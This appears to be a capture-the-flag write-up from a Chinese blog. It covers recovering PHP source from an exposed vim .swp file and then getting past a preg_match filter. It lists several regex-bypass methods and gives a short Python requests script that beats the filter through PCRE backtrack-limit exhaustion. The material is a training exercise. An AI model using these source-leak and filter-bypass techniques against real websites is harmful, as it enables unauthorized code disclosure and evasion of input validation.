PolarD&N(swp)

PolarD&N(swp)

一、网站地址:https://www.polarctf.com/

二、打开题目

在这里插入图片描述

三、解题思路

  • 根据提示去找swp文件,首先了解什么是swp文件

    • swp即swap(交换分区)的简写,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。类似于Windows的虚拟内存,就是当内存不足的时候,把一部分硬盘空间虚拟成内存使用,从而解决内存容量不足的情况。

    • 如果文件正常退出,则此文件自动删除。如果并没有对文件进行修改,而只是读取文件,是不会产生swp文件的

    • swp文件名为 .filename.swp。直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件

    • .swp的产生

      1.当你用多个程序编辑同一个文件时

      • 解决方法:选择readonly(只读)

      2.非常规退出,强行关闭vi时,比如电源突然断掉或者你使用了Ctrl+ZZ,vi自动生成一个.swp文件,下次再编辑时就会出现一些提示。

      • 解决方法:如果你正常退出,那么这个这个swp文件将会自动删除。
      vi -r xxx.c
      

      来恢复文件,然后用

      rm -rf xxx.swp
      

      删除swp文件,不然每一次编辑时总是有这个提示

      如果你不想产生交换文件,可以在vim配置中 (/etc/vimrc) 添加

      set noswapfile
      

      命令禁止产生交换文件

      也可以用添加

      set swapfile
      

      这条命令设置生成交换文件

四、下载并分析swp文件

  • 访问/.index.php.swp,获得源码

    function jiuzhe($xdmtql){ 
    	return preg_match('/sys.*nb/is',$xdmtql); 
    	} 
    	
    $xdmtql=@$_POST['xdmtql']; 
    
    if(!is_array($xdmtql)){ 
        if(!jiuzhe($xdmtql)){ 
            if(strpos($xdmtql,'sys nb')!==false){ 
                echo 'flag{*******}'; 
            }else{ 
                echo 'true .swp file?'; 
            } 
        }else{
            echo 'nijilenijile';
        } 
    }
    
    #preg_match 函数用于执行一个正则表达式匹配
    #strpos() 函数查找字符串在另一字符串中第一次出现的位置
    
  • 首先网站用post方式接收了一个xdmtql变量,用if判断变量是否是数组,不是数组接下来交给jiuzhe函数,这个函数的作用是去匹配变量里的sys nb,匹配到了就输出nijilenijile,没有匹配到就进入下一个if语句,strpos这个函数的作用是匹配sys nb,如果匹配到了,就输出ture,然后由于有!所以变成false,条件成立输出flag

五、绕过

  • 根据上面的分析,输出flag的条件是:POST传入、不能是数组、绕过preg_match函数、通过strpos函数

  • preg_match()绕过方法

    • 数组绕过,即传入的参数为数组,此题不适用
    • 利用PCRE回溯次数限制绕过:让回溯次数超过最大限制就可以使preg_match()函数返回false,从而绕过限制,中文的回溯次数在100万次就会崩溃,这个回溯保护使PHP为了防止关于正则表达式的DDOS
    • 换行符绕过:.不会匹配换行符,所以使用%0a就可以绕过,此题不适应
  • 绕过

    import requests
    data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
    res = requests.post('http://xxx.www.polarctf.com:8090', data=data, allow_redirects=False)
    print(res.content)
    
  • 获得flag

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值